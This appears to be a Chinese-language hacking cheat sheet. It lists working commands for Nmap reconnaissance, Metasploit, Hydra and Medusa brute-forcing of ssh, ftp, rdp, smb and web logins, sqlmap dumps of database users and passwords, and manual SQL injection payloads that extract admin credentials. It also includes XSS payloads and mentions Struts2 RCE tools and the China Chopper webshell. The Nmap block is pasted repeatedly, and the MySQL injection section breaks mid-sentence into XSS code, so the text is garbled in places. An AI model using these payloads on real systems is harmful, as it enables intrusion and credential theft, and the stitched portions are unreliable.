一、端口掃描工具
Nmap
功能介紹及參數相關文檔
1) 獲取遠程主機的系統類型及開放端口
nmap -sS -P0 -sV -O <target>
這里的 < target > 可以是單一 IP, 或主機名,或域名,或子網
-sS TCP SYN 掃描 (又稱半開放,或隱身掃描)
-P0 允許你關閉 ICMP pings.
-sV 打開系統版本檢測
-O 嘗試識別遠程操作系統
其它選項:
-A 同時打開操作系統指紋和版本檢測
-v 詳細輸出掃描情況.
nmap -sS -P0 -A -v < target >
2) 列出開放了指定端口的主機列表
nmap -sT -p 80 -oG – 192.168.1.* | grep open
3) 在網絡尋找所有在線主機
nmap -sP 192.168.0.*
或者也可用以下命令:
nmap -sP 192.168.0.0/24
指定 subnet
4) Ping 指定范圍內的 IP 地址
nmap -sP 192.168.1.100-254
5) 在某段子網上查找未占用的 IP
nmap -T4 -sP 192.168.2.0/24 && egrep "00:00:00:00:00:00" /proc/net/arp
6) 在局域網上掃找 Conficker 蠕蟲病毒
nmap -PN -T4 -p139,445 -n -v --script=smb-check-vulns --script-args safe=1 192.168.0.1-254
7) 掃描網絡上的惡意接入點 (rogue APs).
nmap -A -p1-85,113,443,8080-8100 -T4 --min-hostgroup 50 --max-rtt-timeout 2000 --initial-rtt-timeout 300 --max-retries 3 --host-timeout 20m --max-scan-delay 1000 -oA wapscan 10.0.0.0/8
8 ) 使用誘餌掃描方法來掃描主機端口
sudo nmap -sS 192.168.0.10 -D 192.168.0.2
9) 為一個子網列出反向 DNS 記錄
nmap -R -sL 209.85.229.99/27 | awk {if($3=="not")print"("$2") no PTR";else print$3" is "$2} | grep
10) 顯示網絡上共有多少台 Linux 及 Win 設備?
sudo nmap -F -O 172.18.16.1-255 | grep "Running: " > /tmp/os; echo "$(cat /tmp/os | grep Linux | wc -l) Linux device(s)"; echo "$(cat /tmp/os | grep Windows | wc -l) Window(s) device"
nmap -sP 192.168.1.0/24
僅列出指定網絡上的每台主機,不發送任何報文到目標主機:
nmap -sL 192.168.1.0/24
探測目標主機開放的端口,可以指定一個以逗號分隔的端口列表(如-PS22,23,25,80):
nmap -PS 192.168.1.234
使用UDP ping探測主機:
nmap -PU 192.168.1.0/24
使用頻率最高的掃描選項:SYN掃描,又稱為半開放掃描,它不打開一個完全的TCP連接,執行得很快:
nmap -sS 192.168.1.0/24
當SYN掃描不能用時,TCP Connect()掃描就是默認的TCP掃描:
nmap -sT 192.168.1.0/24
UDP掃描用-sU選項,UDP掃描發送空的(沒有數據)UDP報頭到每個目標端口:
nmap -sU 192.168.1.0/24
確定目標機支持哪些IP協議 (TCP,ICMP,IGMP等):
nmap -sO 192.168.1.19
探測目標主機的操作系統:
nmap -O 192.168.1.19
nmap -A 192.168.1.19
另外,nmap官方文檔中的例子:
nmap -v scanme.
這個選項掃描主機scanme中 所有的保留TCP端口。選項-v啟用細節模式。
nmap -sS -O scanme./24
進行秘密SYN掃描,對象為主機Saznme所在的“C類”網段的255台主機。同時嘗試確定每台工作主機的操作系統類型。因為進行SYN掃描和操作系統檢測,這個掃描需要有根權限。
nmap -sV -p 22,53,110,143,4564 198.116.0-255.1-127
進行主機列舉和TCP掃描,對象為B類188.116網段中255個8位子網。這個測試用於確定系統是否運行了sshd、DNS、imapd或4564端口。如果這些端口打開,將使用版本檢測來確定哪種應用在運行。
nmap -v -iR 100000 -P0 -p 80
隨機選擇100000台主機掃描是否運行Web服務器(80端口)。由起始階段發送探測報文來確定主機是否工作非常浪費時間,而且只需探測主機的一個端口,因 此使用-P0禁止對主機列表。
nmap -P0 -p80 -oX logs/pb-port80scan.xml -oG logs/pb-port80scan.gnmap 216.163.128.20/20
掃描4096個IP地址,查找Web服務器(不ping),將結果以Grep和XML格式保存。
host -l | cut -d -f 4 | nmap -v -iL -
進行DNS區域傳輸,以發現中的主機,然后將IP地址提供給 Nmap。上述命令用於GNU/Linux -- 其它系統進行區域傳輸時有不同的命令。
其他選項:
-p (只掃描指定的端口)
單個端口和用連字符表示的端口范 圍(如 1-1023)都可以。當既掃描TCP端口又掃描UDP端口時,可以通過在端口號前加上T: 或者U:指定協議。 協議限定符一直有效直到指定另一個。 例如,參數 -p U:53,111,137,T:21-25,80,139,8080 將掃描UDP 端口53,111,和137,同時掃描列出的TCP端口。
-F (快速 (有限的端口) 掃描)nmap -sP 192.168.1.0/24
僅列出指定網絡上的每台主機,不發送任何報文到目標主機:
nmap -sL 192.168.1.0/24
探測目標主機開放的端口,可以指定一個以逗號分隔的端口列表(如-PS22,23,25,80):
nmap -PS 192.168.1.234
使用UDP ping探測主機:
nmap -PU 192.168.1.0/24
使用頻率最高的掃描選項:SYN掃描,又稱為半開放掃描,它不打開一個完全的TCP連接,執行得很快:
nmap -sS 192.168.1.0/24
當SYN掃描不能用時,TCP Connect()掃描就是默認的TCP掃描:
nmap -sT 192.168.1.0/24
UDP掃描用-sU選項,UDP掃描發送空的(沒有數據)UDP報頭到每個目標端口:
nmap -sU 192.168.1.0/24
確定目標機支持哪些IP協議 (TCP,ICMP,IGMP等):
nmap -sO 192.168.1.19
探測目標主機的操作系統:
nmap -O 192.168.1.19
nmap -A 192.168.1.19
另外,nmap官方文檔中的例子:
nmap -v scanme.
這個選項掃描主機scanme中 所有的保留TCP端口。選項-v啟用細節模式。
nmap -sS -O scanme./24
進行秘密SYN掃描,對象為主機Saznme所在的“C類”網段的255台主機。同時嘗試確定每台工作主機的操作系統類型。因為進行SYN掃描和操作系統檢測,這個掃描需要有根權限。
nmap -sV -p 22,53,110,143,4564 198.116.0-255.1-127
進行主機列舉和TCP掃描,對象為B類188.116網段中255個8位子網。這個測試用於確定系統是否運行了sshd、DNS、imapd或4564端口。如果這些端口打開,將使用版本檢測來確定哪種應用在運行。
nmap -v -iR 100000 -P0 -p 80
隨機選擇100000台主機掃描是否運行Web服務器(80端口)。由起始階段發送探測報文來確定主機是否工作非常浪費時間,而且只需探測主機的一個端口,因 此使用-P0禁止對主機列表。
nmap -P0 -p80 -oX logs/pb-port80scan.xml -oG logs/pb-port80scan.gnmap 216.163.128.20/20
掃描4096個IP地址,查找Web服務器(不ping),將結果以Grep和XML格式保存。
host -l | cut -d -f 4 | nmap -v -iL -
進行DNS區域傳輸,以發現中的主機,然后將IP地址提供給 Nmap。上述命令用於GNU/Linux -- 其它系統進行區域傳輸時有不同的命令。
其他選項:
-p (只掃描指定的端口)
單個端口和用連字符表示的端口范 圍(如 1-1023)都可以。當既掃描TCP端口又掃描UDP端口時,可以通過在端口號前加上T: 或者U:指定協議。 協議限定符一直有效直到指定另一個。 例如,參數 -p U:53,111,137,T:21-25,80,139,8080 將掃描UDP 端口53,111,和137,同時掃描列出的TCP端口。
-F (快速 (有限的端口) 掃描)nmap -sP 192.168.1.0/24
僅列出指定網絡上的每台主機,不發送任何報文到目標主機:
nmap -sL 192.168.1.0/24
探測目標主機開放的端口,可以指定一個以逗號分隔的端口列表(如-PS22,23,25,80):
nmap -PS 192.168.1.234
使用UDP ping探測主機:
nmap -PU 192.168.1.0/24
使用頻率最高的掃描選項:SYN掃描,又稱為半開放掃描,它不打開一個完全的TCP連接,執行得很快:
nmap -sS 192.168.1.0/24
當SYN掃描不能用時,TCP Connect()掃描就是默認的TCP掃描:
nmap -sT 192.168.1.0/24
UDP掃描用-sU選項,UDP掃描發送空的(沒有數據)UDP報頭到每個目標端口:
nmap -sU 192.168.1.0/24
確定目標機支持哪些IP協議 (TCP,ICMP,IGMP等):
nmap -sO 192.168.1.19
探測目標主機的操作系統:
nmap -O 192.168.1.19
nmap -A 192.168.1.19
另外,nmap官方文檔中的例子:
nmap -v scanme.
這個選項掃描主機scanme中 所有的保留TCP端口。選項-v啟用細節模式。
nmap -sS -O scanme./24
進行秘密SYN掃描,對象為主機Saznme所在的“C類”網段的255台主機。同時嘗試確定每台工作主機的操作系統類型。因為進行SYN掃描和操作系統檢測,這個掃描需要有根權限。
nmap -sV -p 22,53,110,143,4564 198.116.0-255.1-127
進行主機列舉和TCP掃描,對象為B類188.116網段中255個8位子網。這個測試用於確定系統是否運行了sshd、DNS、imapd或4564端口。如果這些端口打開,將使用版本檢測來確定哪種應用在運行。
nmap -v -iR 100000 -P0 -p 80
隨機選擇100000台主機掃描是否運行Web服務器(80端口)。由起始階段發送探測報文來確定主機是否工作非常浪費時間,而且只需探測主機的一個端口,因 此使用-P0禁止對主機列表。
nmap -P0 -p80 -oX logs/pb-port80scan.xml -oG logs/pb-port80scan.gnmap 216.163.128.20/20
掃描4096個IP地址,查找Web服務器(不ping),將結果以Grep和XML格式保存。
host -l | cut -d -f 4 | nmap -v -iL -
進行DNS區域傳輸,以發現中的主機,然后將IP地址提供給 Nmap。上述命令用於GNU/Linux -- 其它系統進行區域傳輸時有不同的命令。
其他選項:
-p (只掃描指定的端口)
單個端口和用連字符表示的端口范 圍(如 1-1023)都可以。當既掃描TCP端口又掃描UDP端口時,可以通過在端口號前加上T: 或者U:指定協議。 協議限定符一直有效直到指定另一個。 例如,參數 -p U:53,111,137,T:21-25,80,139,8080 將掃描UDP 端口53,111,和137,同時掃描列出的TCP端口。
-F (快速 (有限的端口) 掃描)
二、中間人攻擊arp工具
Ettercap:http://www.tuicool.com/articles/viaemaU
Cain:http://netsecurity.51cto.com/art/200907/136591.htm
三、破解工具
1.Metasploit:MSF破解ssh
msf:(全稱)metasploit freamwork
使用命令: 破解ssh登錄名和密碼
msconsole回車
search ssh 查找ssh相關的模塊
use auxiliary/scanner/ssh/ssh_login 調用ssh破解程序
show options 查看選項
set rhosts 127.0.0.1 設置要破解的IP地址(必須能ping通)
set rport 22 設置端口
set username root 設置用戶名
set pass_file /root/*.* 設置密碼文件
set threads 50 設置線程50
run 開始執行
telnet同理,
kali自帶密碼字典路徑//usr/share/wordlists/w3af.txt
注:所有路徑必須是絕對路徑nmap -sP 192.168.1.0/24
僅列出指定網絡上的每台主機,不發送任何報文到目標主機:
nmap -sL 192.168.1.0/24
探測目標主機開放的端口,可以指定一個以逗號分隔的端口列表(如-PS22,23,25,80):
nmap -PS 192.168.1.234
使用UDP ping探測主機:
nmap -PU 192.168.1.0/24
使用頻率最高的掃描選項:SYN掃描,又稱為半開放掃描,它不打開一個完全的TCP連接,執行得很快:
nmap -sS 192.168.1.0/24
當SYN掃描不能用時,TCP Connect()掃描就是默認的TCP掃描:
nmap -sT 192.168.1.0/24
UDP掃描用-sU選項,UDP掃描發送空的(沒有數據)UDP報頭到每個目標端口:
nmap -sU 192.168.1.0/24
確定目標機支持哪些IP協議 (TCP,ICMP,IGMP等):
nmap -sO 192.168.1.19
探測目標主機的操作系統:
nmap -O 192.168.1.19
nmap -A 192.168.1.19
另外,nmap官方文檔中的例子:
nmap -v scanme.
這個選項掃描主機scanme中 所有的保留TCP端口。選項-v啟用細節模式。
nmap -sS -O scanme./24
進行秘密SYN掃描,對象為主機Saznme所在的“C類”網段的255台主機。同時嘗試確定每台工作主機的操作系統類型。因為進行SYN掃描和操作系統檢測,這個掃描需要有根權限。
nmap -sV -p 22,53,110,143,4564 198.116.0-255.1-127
進行主機列舉和TCP掃描,對象為B類188.116網段中255個8位子網。這個測試用於確定系統是否運行了sshd、DNS、imapd或4564端口。如果這些端口打開,將使用版本檢測來確定哪種應用在運行。
nmap -v -iR 100000 -P0 -p 80
隨機選擇100000台主機掃描是否運行Web服務器(80端口)。由起始階段發送探測報文來確定主機是否工作非常浪費時間,而且只需探測主機的一個端口,因 此使用-P0禁止對主機列表。
nmap -P0 -p80 -oX logs/pb-port80scan.xml -oG logs/pb-port80scan.gnmap 216.163.128.20/20
掃描4096個IP地址,查找Web服務器(不ping),將結果以Grep和XML格式保存。
host -l | cut -d -f 4 | nmap -v -iL -
進行DNS區域傳輸,以發現中的主機,然后將IP地址提供給 Nmap。上述命令用於GNU/Linux -- 其它系統進行區域傳輸時有不同的命令。
其他選項:
-p (只掃描指定的端口)
單個端口和用連字符表示的端口范 圍(如 1-1023)都可以。當既掃描TCP端口又掃描UDP端口時,可以通過在端口號前加上T: 或者U:指定協議。 協議限定符一直有效直到指定另一個。 例如,參數 -p U:53,111,137,T:21-25,80,139,8080 將掃描UDP 端口53,111,和137,同時掃描列出的TCP端口。
-F (快速 (有限的端口) 掃描)nmap -sP 192.168.1.0/24
僅列出指定網絡上的每台主機,不發送任何報文到目標主機:
nmap -sL 192.168.1.0/24
探測目標主機開放的端口,可以指定一個以逗號分隔的端口列表(如-PS22,23,25,80):
nmap -PS 192.168.1.234
使用UDP ping探測主機:
nmap -PU 192.168.1.0/24
使用頻率最高的掃描選項:SYN掃描,又稱為半開放掃描,它不打開一個完全的TCP連接,執行得很快:
nmap -sS 192.168.1.0/24
當SYN掃描不能用時,TCP Connect()掃描就是默認的TCP掃描:
nmap -sT 192.168.1.0/24
UDP掃描用-sU選項,UDP掃描發送空的(沒有數據)UDP報頭到每個目標端口:
nmap -sU 192.168.1.0/24
確定目標機支持哪些IP協議 (TCP,ICMP,IGMP等):
nmap -sO 192.168.1.19
探測目標主機的操作系統:
nmap -O 192.168.1.19
nmap -A 192.168.1.19
另外,nmap官方文檔中的例子:
nmap -v scanme.
這個選項掃描主機scanme中 所有的保留TCP端口。選項-v啟用細節模式。
nmap -sS -O scanme./24
進行秘密SYN掃描,對象為主機Saznme所在的“C類”網段的255台主機。同時嘗試確定每台工作主機的操作系統類型。因為進行SYN掃描和操作系統檢測,這個掃描需要有根權限。
nmap -sV -p 22,53,110,143,4564 198.116.0-255.1-127
進行主機列舉和TCP掃描,對象為B類188.116網段中255個8位子網。這個測試用於確定系統是否運行了sshd、DNS、imapd或4564端口。如果這些端口打開,將使用版本檢測來確定哪種應用在運行。
nmap -v -iR 100000 -P0 -p 80
隨機選擇100000台主機掃描是否運行Web服務器(80端口)。由起始階段發送探測報文來確定主機是否工作非常浪費時間,而且只需探測主機的一個端口,因 此使用-P0禁止對主機列表。
nmap -P0 -p80 -oX logs/pb-port80scan.xml -oG logs/pb-port80scan.gnmap 216.163.128.20/20
掃描4096個IP地址,查找Web服務器(不ping),將結果以Grep和XML格式保存。
host -l | cut -d -f 4 | nmap -v -iL -
進行DNS區域傳輸,以發現中的主機,然后將IP地址提供給 Nmap。上述命令用於GNU/Linux -- 其它系統進行區域傳輸時有不同的命令。
其他選項:
-p (只掃描指定的端口)
單個端口和用連字符表示的端口范 圍(如 1-1023)都可以。當既掃描TCP端口又掃描UDP端口時,可以通過在端口號前加上T: 或者U:指定協議。 協議限定符一直有效直到指定另一個。 例如,參數 -p U:53,111,137,T:21-25,80,139,8080 將掃描UDP 端口53,111,和137,同時掃描列出的TCP端口。
-F (快速 (有限的端口) 掃描)
MSF滲透掃描模塊:
http://qqhack8.blog.163.com/blog/static/114147985201473111827882
2.Hydra破解
1、破解ssh:
hydra -l 用戶名 -p 密碼字典 -t 線程 -vV -e ns ip ssh
hydra -l 用戶名 -p 密碼字典 -t 線程 -o save.log -vV ip ssh
2、破解ftp:
hydra ip ftp -l 用戶名 -P 密碼字典 -t 線程(默認16) -vV
hydra ip ftp -l 用戶名 -P 密碼字典 -e ns -vV
3、get方式提交,破解web登錄:
hydra -l 用戶名 -p 密碼字典 -t 線程 -vV -e ns ip http-get /admin/
hydra -l 用戶名 -p 密碼字典 -t 線程 -vV -e ns -f ip http-get /admin/index.PHP
4、post方式提交,破解web登錄:
hydra -l 用戶名 -P 密碼字典 -s 80 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password"
hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form "login.php:id=^USER^&passwd=^PASS^:<title>wrong username or password</title>"
(參數說明:-t同時線程數3,-l用戶名是admin,字典pass.txt,保存為out.txt,-f 當破解了一個密碼就停止, 10.36.16.18目標ip,http-post-form表示破解是采用http的post方式提交的表單密碼破解,<title>中的內容是表示錯誤猜解的返回信息提示。)
5、破解https:
hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https
6、破解teamspeak:
hydra -l 用戶名 -P 密碼字典 -s 端口號 -vV ip teamspeak
7、破解cisco:
hydra -P pass.txt 10.36.16.18 cisco
hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable
8、破解smb:
hydra -l administrator -P pass.txt 10.36.16.18 smb
9、破解pop3:
hydra -l muts -P pass.txt my.pop3.mail pop3
10、破解rdp:
hydra ip rdp -l administrator -P pass.txt -V
11、破解http-proxy:
hydra -l admin -P pass.txt http-proxy://10.36.16.18
12、破解imap:
hydra -L user.txt -p secret 10.36.16.18 imap PLAIN
hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN
參考網址:http://www.linuxde.net/2013/01/11487.html
3.Medusa暴力破解遠程
kali linux自帶破解工具,使用的時候要獲得一些必要的信息。
1、目標IP地址
2、登錄目標的一個用戶名或者一個用戶名文件(都是猜測的用戶名也可以說是用戶名字典)
3、密碼字典
4、要驗證的服務名稱(比如ssh、http、telnet等)
使用命令:
medusa -h target_ip(攻擊ip) -u username -P path_to_passwordlist(密碼文件要打絕對路徑) -M authentication_service_to_attack(要驗證的服務名稱)
-u是要攻擊的目標的id(用戶名)號,如果改為大寫的U,將會是利用用戶名列表進行攻擊,-M參數后面接的是你要攻擊的驗證服務名稱。
參考網址:http://www.shangxueba.com/jingyan/1597226.html
4.payload破解
search tomcat查看tomcat的payload
payload就是加載模塊調用攻擊的有效加載項。(真心抽象)
msfconsole回車
use auxiliary/scanner/http/tomcat_mgr_login 調用tomcat破解程序
show options 查看選項
set rhosts 127.0.0.1 設置要破解的IP地址(必須能ping通)
set rport 8080 設置端口
set username root 設置用戶名(set user_file /*/*.*設置帳號字典)
set pass_file /root/*.* 設置密碼字典
set threads 50 設置線程50
run 開始執行。
注:所有路徑必須是絕對路徑。
四.Sql注入工具
1.Sqlmap
sqlmap:數據庫注入工具。
可以用來猜測數據庫類型和利用漏洞滲透數據庫
注入點一般存在登錄頁面、查找頁面或添加頁面等用戶可以查找或修改數據的地方。
比如:最常用的尋找SQL注入點的方法,是在網站中尋找如下形式的頁面鏈接:http://www.xxx.com/xxx.asp?id=YY
其中“YY”可能是數字,也有可能是字符串,分別被稱為整數類型數據或者字符型數據。
一般有一下幾種方法:
1、加 ' 法
瀏覽器可能會返回類似於下面的錯誤提示信息:Microsoft JET Database Engine 錯誤’80040e14表示有注入點。
2、and 1=1 和and 1=2 將and 1=1 寫在url最后面訪問顯示正常,而and 1=2 提示錯誤說明有可能有注入點。如果兩種方式結果一樣,就表示沒戲。
3、sqlmap下輸入 (-u "域名" --level 5 --dbs) 猜測數據庫類型
Sqlmap參數使用
BT5里面的話前面就要加python
sqlmap.py -u url --dbs //爆數據庫
sqlmap.py -u url --current-db //爆當前庫
sqlmap.py -u url --current-user //爆當前用戶
sqlmap.py -u url --users 查看用戶權限
sqlmap.py -u url --tables -D 數據庫 //爆表段
sqlmap.py -u url --columns -T 表段 -D 數據庫 //爆字段
sqlmap.py -u url --dump -C 字段 -T 表段 -D 數據庫 //猜解
sqlmap.py -u url --dump --start=1 --stop=3 -C 字段 -T 表段 -D 數據庫 //猜解1到3的字段
加入python環境使用方法:
sqlmap.py -u url 判斷
sqlmap.py -u url --is-dba -v 這是判斷當前數據庫的使用者是否是dba
sqlmap.py -u url --users -v 0 這句的目的是列舉數據庫的用戶
sqlmap.py -u url --passwords -v 0這句的目的是獲取數據庫用戶的密碼
sqlmap.py -u url --privileges -v 0 這是判斷當前的權限
sqlmap.py -u url --dbs -v 0 這句的目的是將所有的數據庫列出來
sqlmap.py -u url --tables -D '表' 爆表
sqlmap.py -u url --columns -T ‘表’-D ‘數據庫’爆列
sqlmap.py -u url --dump -T '表' --start 1 --stop 4 -v 0 這里是查詢第2到第4行的內
sqlmap.py -u url --dump -all -v 0 爆數據庫
sqlmap.py -u url --users --password 爆用戶名密碼。
2.明小子Domain
明小子domian工具是針對Access、mssql數據庫的sql注入工具,另外此工具可用於掃描管理后台、上傳、下載路徑,也可進行簡單的md5破解!(此工具功能性有限)
使用方法:
1、先打開我們的明小子,在當前路徑這里輸入你要注入的網站地址,然后連接如下圖。如果此網站有注入點的話,下面注入點框內會出現紅色的注入點地址。
2、我們任意選中一個地址單擊鼠標右鍵,點擊檢測注入。
3、然后點擊開始檢測按鈕后,如下圖操作。
最后我們得到網站的賬號密碼后 就可以去網站后台去登錄了
3.Pangolin穿山甲
初始界面
輸入url地址進行檢測
參考地址:http://www.hack80.com/thread-758-1-1.html
4.純手工sql注入
第一步先把IE菜單=>工具=>Internet選項=>高級=>顯示友好 HTTP 錯誤信息前面的勾去掉。否則,不論服務器返回什么錯誤,IE都只顯示為HTTP 500服務器錯誤,不能獲得更多的提示信息。
數字型:and 1=1 and 1=2 判斷是否存在注入
字符型:' and '1'='1 ' and '1'='2
搜索型: 關鍵字%' and 1=1 and '%'='% 關鍵字%' and 1=2 and '%'='%
IIS報錯情況下使用:
and user>0 (判斷是ACCESS還是MSSQL)
不報錯則使用各自數據庫特性來判斷
and (select count(*) from msysobjects)>0 (返回權限不足access數據庫)
and (select count(*) from sysobjects)>0 (返回正常則為MSSQL數據庫)
and db_name()>0 (返回數據庫名)
and 0<>(select @@version)-- (判斷版本信息)
and db_name()>0 (返回數據庫名)
************注意:猜解之前先要找到后台地址,不然白忙了**********
ACCESS注入:
猜解表名(正常則存在admin,不正常則不存在)
and exists (select * from [admin])
and (Select Count(*) from Admin)>0
猜解字段:(字段username存在則正常,不正常則不存在)
and (Select username from Admin)>0
and exists (select username from [admin])
猜解用戶名和密碼長度
and (select top 1 len(username) from Admin)>0
and (select top 1 len(password) from Admin)>0
原 理:如果top 1的username長度大於0,則條件成立;接着就是>1、>2、>3這樣測試下去,一直到條件不成立為止,比如>4成立,>5不成立,就是len(username)=5,即用戶名長度為5.得到username的長度后,用mid(username,N,1)截取第N位字符,再asc(mid(username,N,1))得到ASCII碼.
猜解用戶
and (select top 1 asc(mid(username,1,1)) from Admin)>0,1,2…,
當輸入到109時,顯示錯誤,而108之前顯示正確,說明第一個字符的ASCII碼為109.,得到第一個字符是m。
同理and (select top 1 asc(mid(username,2,1) from Admin)>0,1,2…
到114的時候不成立,說明第二個字符的ASCII碼值為114,字符為r。
注意的是英文和數字的ASCII碼在1-128之間...
MSSQL注入:
having 1=1-- 【爆出一個表名及字段,如:列 'users.ID' 在選擇列表中無效】
group by users.ID having 1=1--
group by users.ID, users.username, users.password, users.privs having 1=1--
; insert into users values( 666, attacker, foobar, 0xffff )-- 【插入新記錄】
猜解表名:
SQL SERVER的每一個數據庫都會有用戶表和系統表,在系統表sysobjects中,數據庫內創建的每個對象(約束、默認值、日志、規則、存儲過程等)在sysobjects表中占一行,那么也就是說當前數據庫的表名都會在該表內有存在。我們常用到的參數有三個,name (數據表的名字),xtype( 數據表的類型 u為用戶表),id( 數據表的對象標志)。
and (select top 1 name from sysobjects where xtype='u')>0 (得到第一個表名:比如user)
and (select top 1 name from sysobjects where xtype='u' and name not in ('user'))>0 得到第二個表名,后面的以此類推。。
猜解列名:
用 到系統自帶的2個函數col_name()和object_id(),col_name()的格式是“COL_NAME( table_id , column_id )”,參數table_id是表的標識號,column_id是列的標識號,object_id(admin)就是得到admin在sysobjects 中的標識號,column_id=1,2,3表明admin的第1,2,3列。
and (select top 1 col_name(object_id('admin'),1) from sysobjects)>0 【得到admin字段的第一個列名“username”依次類推,得到“password”“id”等等】
猜解字段內容:
and (select top 1 username from [admin])>0 【直接得到用戶名】
and (select top 1 password from [admin])>0 【直接得到密碼】
UNION聯合查詢:
select name,password,id from user union select user,pwd,uid from 表名
and 1=1 union select 1,2,3,4,5... from 表名 (數值從1開始慢慢加,如果加到5返回正常,那就存在5個字段)
ASCII逐字解碼法:
1、猜解列長度
and (select top 1 len(列名)from 表名)>N
其中N是數字,變換這個N的值猜解列長度,當N為6正確,為7錯誤,則長度為7
猜解第二條記錄就該使用:select top 1 len(列名) from 表名 where 列名 not in (select top 1 列名 from 表名)
2、猜解用戶和密碼
ASC()函數和Mid函數,ASC(mid(列名,N,1))得到“列名”第N位字符ASCII碼
猜解語句為:and (select top 1 asc(mid(字段,1,1)) from 數據庫名)>ASCII碼
區間判斷語句:....between......and......
中文處理法:當ASCII轉換后為“負數”使用abs()函數取絕對值。
例:and (select top 1 abs(asc(mid(字段,1,1))) from 數據庫名)=ASC碼
ASCII逐字解碼法的應用:
1、猜解表名:and (select count(*) from admin)<>0
2、猜解列名:and (select count(列名) from 表名)<>0
3、猜解用戶個數:and (select count(*) from 表名)>1,2.. 2正常,3錯誤,表中有3條記錄。
4、猜解用戶名的長度:and (select len(列名) from 表名)>=1、>=2、>=3、>=4。
5、猜解用戶名:and (select count(*)from 表名 where (asc(mid(列名,1,1))) between 30 and 130)<>0
最后提交:and (select asc(mid(列名,1,1)) from 表名)=ascii的值
6、猜解管理員的密碼:
按照上面的原理,把上面的語句中(asc(mid(列名,1,1)的列名換成PASSWORD就能得到密碼了。
MYSQL+PHP注入:
1.判斷是否存在注入,加';and 1=1 ;and 1=2
2.判斷版本 and ord(mid(version(),1,1))>51 代替。
5.判斷數據庫連接帳號有沒有寫權限,and (select count(*) from mysql.user)>0 onerror=alert(/xss/) width=150></img> ( 表示注釋)
<img src=vbscript:msgbox ("xss")></img>
<style> input {left:expression_r (alert('xss'))}</style>
<div style={left:expression_r (alert('xss'))}></div>
<div style={left:expression_r (alert('xss'))}></div>
<div style={left:\0065\0078ression (alert('xss'))}></div>
html 實體 <div style={left:&#x0065;xpression (alert('xss'))}></div>
unicode <div style="{left:expression_r (alert('xss'))}">[/post]
參考地址:http://blog.sina.com.cn/s/blog_3d10a8830100gl2v.html
五.Web掃描測試工具
1.綠盟RSAS遠程安全評估系統
新建掃描任務(可輸入單個IP地址,ip段,或者導入ip地址文件)
配置掃描項(登錄檢查、弱口令測試、端口掃描)
口令猜測詳細配置項如下:
導出掃描報告,格式(html、word、pdf、excel),勾選單個主機報表項。
2.Burpsuite
Burp Suite 是用於攻擊 web 應用程序的集成平台。它包含了許多工具,並為這些工具設計了許多接口,以促進加快攻擊應用程序的過程。所有的工具都共享一個能處理並顯示HTTP 消息,持久性,認證,代理,日志,警報的一個強大的可擴展的框架。
Burp Suite 能高效率地與單個工具一起工作,例如:一個中心站點地圖是用於匯總收集到的目標應用程序信息,並通過確定的范圍來指導單個程序工作。在一個工具處理 HTTP 請求和響應時,它可以選擇調用其他任意的 Burp 工具。例如,代理記錄的請求可被 Intruder 用來構造一個自定義的自動攻擊的准則,也可被 Repeater 用來
手動攻擊,也可被 Scanner 用來分析漏洞,或者被 Spider(網絡爬蟲)用來自動搜索內容。應用程序可以是“被動地”運行,而不是產生大量的自動請求。 Burp Proxy 把所有通過的請求和響應解析為連接和形式,同時站點地圖也相應地更新。由於完全的控制了每一個請
求,你就可以以一種非入侵的方式來探測敏感的應用程序。當你瀏覽網頁(這取決於定義的目標范圍)時,通過自動掃描經過代理的請求就能發現安全漏洞。
IburpExtender 是用來擴展 Burp Suite 和單個工具的功能。一個工具處理的數據結果,可以被其他工具隨意的使用,並產生相應的結果。
Burp Suite 工具箱
Proxy——是一個攔截 HTTP /S 的代理服務器,作為一個在瀏覽器和目標應用程序之間的中間人,允許你攔截,查看,修改在兩個方向上的原始數據流。
Spider——是一個應用智能感應的網絡爬蟲,它能完整的枚舉應用程序的內容和功能。
Scanner[僅限專業版]——是一個高級的工具,執行后,它能自動地發現 web 應用程序的安全漏洞。
Intruder——是一個定制的高度可配置的工具,對 web 應用程序進行自動化攻擊,如:枚舉標識符,收集有用的數據,以及使用 fuzzing 技術探測常規漏洞。
Repeater——是一個靠手動操作來補發單獨的 HTTP 請求,並分析應用程序響應的工具。
Sequencer——是一個用來分析那些不可預知的應用程序會話令牌和重要數據項的隨機性的工具。
Decoder——是一個進行手動執行或對應用程序數據者智能解碼編碼的工具。
3.IBM appscan
下面打開appscan創建掃描。
選擇常規掃描,進入配置向導。點擊下一步,進入配置
上面這一步是重點,起始URL填寫你要掃描的網址。其它服務器和域:這里把抽取的所有鏈接都添加進去。包括后網站的首頁鏈接。點擊下一步。
這里提供三種方式來記錄帳號,不多介紹。第一種和第三種最常用。
然后點擊幾個下一步后出現后面的選項,選擇第三個或第四項完成掃描的配置。
錄制掃描腳本
完成配置后,下面就要開始錄制腳本了呢。
點擊工具欄上的探索按鈕,appscan會打開自帶瀏覽器,輸入系統用戶名密碼登錄系統,對你要掃描的模塊功能進行操作。
上圖為我打開的appscan自帶瀏覽器(因為我輸入的網址有誤,所以無法訪問)。操作完成之后,點擊暫停按鈕,關閉瀏覽器窗口即可。
關閉瀏覽器后,上面的窗口中會記錄所有你訪問的連接,點擊確定。所有的信息就會記錄下來了,下面要做的點擊點擊工具欄上的掃描按鈕開始掃描。我們一般晚上下班進行,第二天早上來看掃描結果就可以了。
本來到這里就可以結束了,我再多說個設置。在手動探索的時候,因為打開的瀏覽器是appscan自帶的,可能會存在兼容性問題,有些頁面無法正常打開。那么是否可以用我們電腦上的瀏覽器(IE 、火狐、谷歌)來進行錄制呢了。當然是可以的。
菜單欄--工具---選項----高級
這個一定要大圖,我們只需要修改openExternalBrowser 選項“值”的參數就可以了(1=IE、2=firefox、3=chrome)。
4.Acunetix WVS 7使用
六.漏洞利用工具
1.FCK編輯器漏洞綜合利用工具
2.Struts2終極漏洞利用工具
Struts2終極漏洞:遠程代碼執行漏洞,獲取權限可執行任意命令。
七.上傳工具
中國菜刀
